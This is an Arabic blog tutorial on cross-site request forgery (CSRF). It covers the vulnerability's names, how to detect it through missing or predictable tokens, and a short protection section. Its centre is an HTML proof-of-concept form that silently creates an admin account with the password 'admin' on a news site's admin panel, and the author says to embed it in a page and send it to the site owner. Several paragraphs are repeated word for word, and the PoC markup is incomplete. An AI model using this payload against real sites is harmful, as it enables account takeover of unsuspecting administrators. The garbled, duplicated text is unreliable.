السلام عليكم و رحمة الله و بركاته
تعرف على ثغرة csrf
-----------------------------------------
-----------------------------------------
سنتعرف فى هذا المقال على ثغرة csrf
وكيفية اكتشافها و استغلالها
ما هى ثغرة CSRF
هي اختصار ل Cross-Site Request Forgery
وهى معروفة بعدة اسماء اخرى مثل:
XSRF
Sea Surf
Session Riding
Hostile Linking
One-Click attack
ويمكن ان تصنف انها من عائلة ثغرات xss
تقوم هذه الثغرة بإجبار المستخدم على فعل وظيفة غير مرغوب فيها مثلا كإضافة ادمن جديد
او تغيير الباسورد بدون علم المستخدم.
خطورة الثغرة :
One-Click attack
ويمكن ان تصنف انها من عائلة ثغرات xss
تقوم هذه الثغرة بإجبار المستخدم على فعل وظيفة غير مرغوب فيها مثلا كإضافة ادمن جديد
او تغيير الباسورد بدون علم المستخدم.
خطورة الثغرة :
-------------------------------------
هى ثغرة خطيرة بالتأكيد لأنها قد تؤدى الى اختراق الموقع بالكامل
متطلبات الثغرة :
هى ثغرة خطيرة بالتأكيد لأنها قد تؤدى الى اختراق الموقع بالكامل
متطلبات الثغرة :
----------------------------------------
تعتمد بشكل او بأخر على الهندسة الإجتماعية لأنها تتطلب ارسال الرابط الى الضحية
الرابط عبارة عن صفحة ويب بها اكواد خاصة من الموقع المصاب تقوم بإضافة ادمن او تغيير وظيفة فى الموقع
او في عمليات الشراء والبيع أوتغيير الإيميل
اي أنها لها استخدمات واسعة وخطورتها كبيرة .
اكتشاف الثغرة:
-----------------------------------
اسهل طريقة لفحص الموقع من هذا النوع من الثغرات
هو فحص كل الطلبات المهمة مثل وظائف اضافة الأدمن وتغيير الباسورد
تبحث فيها عن tokens
وهل هي موجودة ام لا ؟ ويمكن توقعها او لا؟
اذا كانت غير موجودة او يمكن توقعها فانتقل الى عملية الإستغلال
مثال:
تعتمد بشكل او بأخر على الهندسة الإجتماعية لأنها تتطلب ارسال الرابط الى الضحية
الرابط عبارة عن صفحة ويب بها اكواد خاصة من الموقع المصاب تقوم بإضافة ادمن او تغيير وظيفة فى الموقع
او في عمليات الشراء والبيع أوتغيير الإيميل
اي أنها لها استخدمات واسعة وخطورتها كبيرة .
اكتشاف الثغرة:
-----------------------------------
اسهل طريقة لفحص الموقع من هذا النوع من الثغرات
هو فحص كل الطلبات المهمة مثل وظائف اضافة الأدمن وتغيير الباسورد
تبحث فيها عن tokens
وهل هي موجودة ام لا ؟ ويمكن توقعها او لا؟
اذا كانت غير موجودة او يمكن توقعها فانتقل الى عملية الإستغلال
مثال:
-------------
موقع اخباري يقوم بإضافة اعضاء من الرابط التالى
http://localhost/news/admin.php?acti...nts&create=new
افحص السورس كود للصفحة و
(تتغير من موقع الى اخر)استخرج كل الفورم
هذا هو الإستغلال
<html>
<head>
<title> CSRF </title>
</head>
<form method="POST" name="form1" action="http://localhost/news/admin.php?action=options&mod=accounts&create=new">
<input type="hidden" name="accountname" value="admin"/>
<input type="hidden" name="accountemail" value="admin@local.com"/>
<input type="hidden" name="accountpassword1" value="admin"/>
<input type="hidden" name="accountpassword2" value="admin"/>
<input type="hidden" name="accountaccesslevel" value="1"/>
<input type="hidden" name="S1" value="Save"/>
</form>
<form method="GET" name="form2" action="http://localhost/news/js/main.php">
<input type="hidden" name="name" value="value"/>
</form>
</body>
</html>
نقوم بدمج هذا الكود فى صفحة ويب ونرسلها لصاحب الموقع
عندما يفتحها
نقوم الصفحة بإضافة ادمن جديد
user : admin
pass : admin
الحماية من ثغرات csrf
---------------------------------------
على جانب المستخدم :
لا تفتح اى لينك غير موثوق فيه
تأكد جيدا من اسم الموقع
على جانب الموقع:
لابد من استخدام التوكن لحماية الموقع
هذا كان شرح مبسط للثغرة ..
انتها ..
مع تحيات اعضاء مدونة محترفي الحماية الاختراق